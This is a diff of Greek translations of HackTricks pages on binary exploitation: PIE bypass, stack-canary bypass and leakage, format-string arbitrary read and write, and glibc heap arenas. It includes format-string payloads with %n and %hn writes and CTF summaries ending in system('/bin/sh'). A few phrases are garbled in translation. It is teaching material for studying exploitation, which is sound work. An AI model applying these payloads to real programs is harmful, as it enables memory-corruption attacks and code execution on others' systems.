- **Απενεργοποιημένο ASLR**: Αν το ASLR είναι απενεργοποιημένο, ένα δυαδικό αρχείο που έχει μεταγλωττιστεί με PIE θα **φορτωθεί πάντα στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στο ίδιο μέρος.
- Να **δοθεί** η διαρροή (συνηθισμένο σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP και EIP τιμές** στη στοίβα μέχρι να διαρρεύσετε τις σωστές:
- **Brute-force τιμές EBP και EIP** στη στοίβα μέχρι να διαρρεύσετε τις σωστές:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**format string**](../../format-strings/index.html) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**μορφοποίηση συμβολοσειράς**](../../format-strings/index.html) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References

View File

@ -10,13 +10,13 @@
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Αυτή η μηχανισμός τοποθετεί ένα **canary** πριν από το **EBP**, και αναδιοργανώνει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την επικάλυψη άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα επιχειρήματα που περνούν στο stack πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτά τα αντίγραφα ως επιχειρήματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers εντός της δομής ενός χρήστη.
Αυτή η μηχανισμός τοποθετεί ένα **canary** πριν από το **EBP**, και αναδιοργανώνει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την επικάλυψη άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα επιχειρήματα που περνούν στο stack πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτά τα αντίγραφα ως επιχειρήματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερους από 8 στοιχείων ή buffers εντός της δομής ενός χρήστη.
Το **canary** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή `0xff0a0000`. Αποθηκεύεται στο **TLS (Thread Local Storage)**, επιτρέποντας στους κοινόχρηστους χώρους μνήμης μεταξύ νημάτων να έχουν παγκόσμιες ή στατικές μεταβλητές συγκεκριμένες για το νήμα. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη γονική διαδικασία, και οι παιδικές διαδικασίες μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάσουν τη γονική ή τις αδελφές διαδικασίες. Παρ' όλα αυτά, αν χρησιμοποιηθεί **`fork()` χωρίς να δημιουργηθεί ένα νέο canary, όλες οι διαδικασίες (γονικές και παιδικές) μοιράζονται το ίδιο canary**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το canary αποθηκεύεται στο `gs:0x14`, και στην **x86_64**, στο `fs:0x28`.
Αυτή η τοπική προστασία εντοπίζει συναρτήσεις με buffers ευάλωτα σε επιθέσεις και εισάγει κώδικα στην αρχή αυτών των συναρτήσεων για να τοποθετήσει το canary, και στο τέλος για να επαληθεύσει την ακεραιότητά του.
Όταν ένας web server χρησιμοποιεί `fork()`, επιτρέπει μια επίθεση brute-force για να μαντέψει το canary byte by byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` επαναγράφει τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στην παιδική διαδικασία να εκτελείται χωρίς αναπαραγωγή μέχρι να προσπαθήσει να γράψει, οπότε δημιουργείται μια αναπαραγωγή, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διαδικασιών και τη διαχείριση μνήμης.
Όταν ένας web server χρησιμοποιεί `fork()`, επιτρέπει μια επίθεση brute-force για να μαντέψει το canary byte by byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` επαναγράφει το χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στην παιδική διαδικασία να εκτελείται χωρίς αναπαραγωγή μέχρι να προσπαθήσει να γράψει, οπότε δημιουργείται μια αναπαραγωγή, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διαδικασιών και τη διαχείριση μνήμης.
### Μήκη
@ -29,16 +29,18 @@
## Παράκαμψη
**Διαρροή του canary** και στη συνέχεια επικάλυψη του (π.χ. buffer overflow) με την δική του τιμή.
**Διαρροή του canary** και στη συνέχεια επικάλυψη του με την τιμή του.
- Αν το **canary είναι forked σε παιδικές διαδικασίες** μπορεί να είναι δυνατό να **brute-force** αυτό byte by byte:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- Αν υπάρχει κάποια ενδιαφέρουσα **διαρροή ή ευπάθεια αυθαίρετης ανάγνωσης** στο binary μπορεί να είναι δυνατό να διαρρεύσει:
{{#ref}}
print-stack-canary.md
{{#endref}}
@ -47,6 +49,7 @@ print-stack-canary.md
Το stack που είναι ευάλωτο σε υπερχείλιση stack μπορεί να **περιέχει διευθύνσεις σε συμβολοσειρές ή συναρτήσεις που μπορούν να επαναγραφούν** προκειμένου να εκμεταλλευτούν την ευπάθεια χωρίς να χρειαστεί να φτάσουν στο canary του stack. Ελέγξτε:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
@ -55,11 +58,11 @@ print-stack-canary.md
Μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary μπορεί να χρησιμοποιηθεί για **τροποποίηση του master canary του νήματος**. Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).
Επιπλέον, μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για **τροποποίηση του master canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσει στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω ενός **bof στο stack** ενός νήματος.\
Επιπλέον, μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για **τροποποίηση του master canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στο stack** ενός νήματος.\
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Ελέγξτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** δημιουργείται επίσης με `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.
Ελέγξτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** **νημάτων** δημιουργείται επίσης με `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.
- **Τροποποίηση της εγγραφής GOT του `__stack_chk_fail`**

View File

@ -1,10 +1,10 @@
# Εκτύπωση Stack Canary
# Print Stack Canary
{{#include ../../../banners/hacktricks-training.md}}
## Μεγέθυνση εκτυπωμένου stack
## Enlarge printed stack
Φανταστείτε μια κατάσταση όπου ένα **πρόγραμμα ευάλωτο** σε stack overflow μπορεί να εκτελέσει μια **puts** λειτουργία **δείχνοντας** σε **μέρος** του **stack overflow**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα null byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **επικαλύπτει το stack μέχρι το πρώτο byte του canary**.
Φανταστείτε μια κατάσταση όπου ένα **πρόγραμμα ευάλωτο** σε stack overflow μπορεί να εκτελέσει μια **λειτουργία puts** **δείχνοντας** σε **μέρος** του **stack overflow**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα null byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **επικαλύπτει το stack μέχρι το πρώτο byte του canary**.
Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργία puts** στη μέση του payload που θα **εκτυπώσει όλα τα canary** (εκτός από το πρώτο null byte).
@ -12,16 +12,16 @@
Προφανώς, αυτή η τακτική είναι πολύ **περιορισμένη** καθώς ο επιτιθέμενος πρέπει να είναι σε θέση να **εκτυπώσει** το **περιεχόμενο** του **payload** του για να **εξάγει** το **canary** και στη συνέχεια να είναι σε θέση να δημιουργήσει ένα νέο payload (στην **ίδια συνεδρία προγράμματος**) και να **στείλει** την **πραγματική υπερχείλιση buffer**.
**Παραδείγματα CTF:**
**CTF παραδείγματα:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει το `system('/bin/sh')`
- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει το `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, χωρίς relro, canary, nx, χωρίς pie. Υπερχείλιση με μια κλήση στο puts για να διαρρεύσει το canary + ret2lib καλώντας το `system` με μια ROP αλυσίδα για να pop r0 (arg `/bin/sh`) και pc (διεύθυνση του system)
- 32 bit, ARM, χωρίς relro, canary, nx, χωρίς pie. Υπερχείλιση με μια κλήση στο puts για να διαρρεύσει το canary + ret2lib καλώντας το `system` με μια αλυσίδα ROP για να pop r0 (arg `/bin/sh`) και pc (διεύθυνση του system)
## Αυθαίρετη Ανάγνωση
## Arbitrary Read
Με μια **αυθαίρετη ανάγνωση** όπως αυτή που παρέχεται από τις **μορφές** **strings** μπορεί να είναι δυνατό να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κακή χρήση των μορφών strings για να διαβάσετε αυθαίρετες διευθύνσεις μνήμης σε:
Με μια **τυχαία ανάγνωση** όπως αυτή που παρέχεται από τις **μορφές** **strings** μπορεί να είναι δυνατό να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κακή χρήση των μορφών strings για να διαβάσετε τυχαίες διευθύνσεις μνήμης σε:
{{#ref}}
../../format-strings/

View File

@ -9,7 +9,7 @@
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**.
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γρα writable)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**.
#### Formatters:
```bash
@ -69,11 +69,11 @@ printf("%4$x")
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
> [!CAUTION]
> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιήσετε αυτή τη συμπεριφορά.
> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά.
## **Αυθαίρετη Ανάγνωση**
Είναι δυνατόν να χρησιμοποιήσετε τον μορφοποιητή **`%n$s`** για να κάνετε το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής **`%n$s`** για να κάνει το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
```python
from pwn import *
@ -131,34 +131,35 @@ p.close()
Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για:
- **Dump** το **binary** από τη μνήμη
- **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς πρόσβασης όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Αυθαίρετη Εγγραφή**
Ο μορφοποιητής **`%<num>$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Αν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει **`%<num>$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
Ο μορφοποιητής **`%<num>$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει τόσους χαρακτήρες όσους θέλει με το printf, θα είναι σε θέση να κάνει τον **`%<num>$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, έτσι ώστε να είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**.
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν είναι απαραίτητο να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).**
Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία** **`system`**.\
Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**.
Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**.
- **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης
- **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης
- **HOB** ονομάζεται για τα 2 υψηλότερα bytes της διεύθυνσης
- **LOB** ονομάζεται για τα 2 χαμηλότερα bytes της διεύθυνσης
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο.
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο.
Αν HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -172,7 +173,8 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
### Pwntools Template
Μπορείτε να βρείτε ένα **template** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο:
Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο:
{{#ref}}
format-strings-template.md
@ -207,10 +209,10 @@ p.interactive()
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφών συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξετε τη ροή εκτέλεσης)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσετε τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψετε μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψετε τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, η `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί.
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -12,12 +12,12 @@
### Basic Chunk Allocation
Όταν ζητείται η αποθήκευση κάποιων δεδομένων στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρούνται για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρεθεί πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες chunk μεταδεδομένων για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk.
Όταν ζητείται η αποθήκευση κάποιων δεδομένων στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρούνται για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρείτε πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες chunk μεταδεδομένων για να γνωρίζετε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk.
Υπάρχουν διάφοροι τρόποι για να δεσμευτεί ο χώρος, κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η εξής:
- Το πρόγραμμα ξεκινά ζητώντας μια συγκεκριμένη ποσότητα μνήμης.
- Αν στη λίστα των chunks υπάρχει κάποιος διαθέσιμος αρκετά μεγάλος για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί.
- Αν στη λίστα των chunks υπάρχει κάποιο διαθέσιμο αρκετά μεγάλο για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί.
- Αυτό μπορεί ακόμη και να σημαίνει ότι μέρος του διαθέσιμου chunk θα χρησιμοποιηθεί για αυτό το αίτημα και το υπόλοιπο θα προστεθεί στη λίστα των chunks.
- Αν δεν υπάρχει διαθέσιμο chunk στη λίστα αλλά υπάρχει ακόμη χώρος στη δεσμευμένη μνήμη του σωρού, ο διαχειριστής του σωρού δημιουργεί ένα νέο chunk.
- Αν δεν υπάρχει αρκετός χώρος στον σωρό για να δεσμευτεί το νέο chunk, ο διαχειριστής του σωρού ζητά από τον πυρήνα να επεκτείνει τη μνήμη που έχει δεσμευτεί για τον σωρό και στη συνέχεια χρησιμοποιεί αυτή τη μνήμη για να δημιουργήσει το νέο chunk.
@ -27,9 +27,9 @@
## Arenas
Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκάλεσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλεί το mutex.
Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποφεύγει τις **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκάλεσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλεί το mutex.
Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε "arenas," όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas.
Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "arenas", όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas.
Η προεπιλεγμένη "κύρια" arena χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα.
@ -37,7 +37,7 @@
### Subheaps
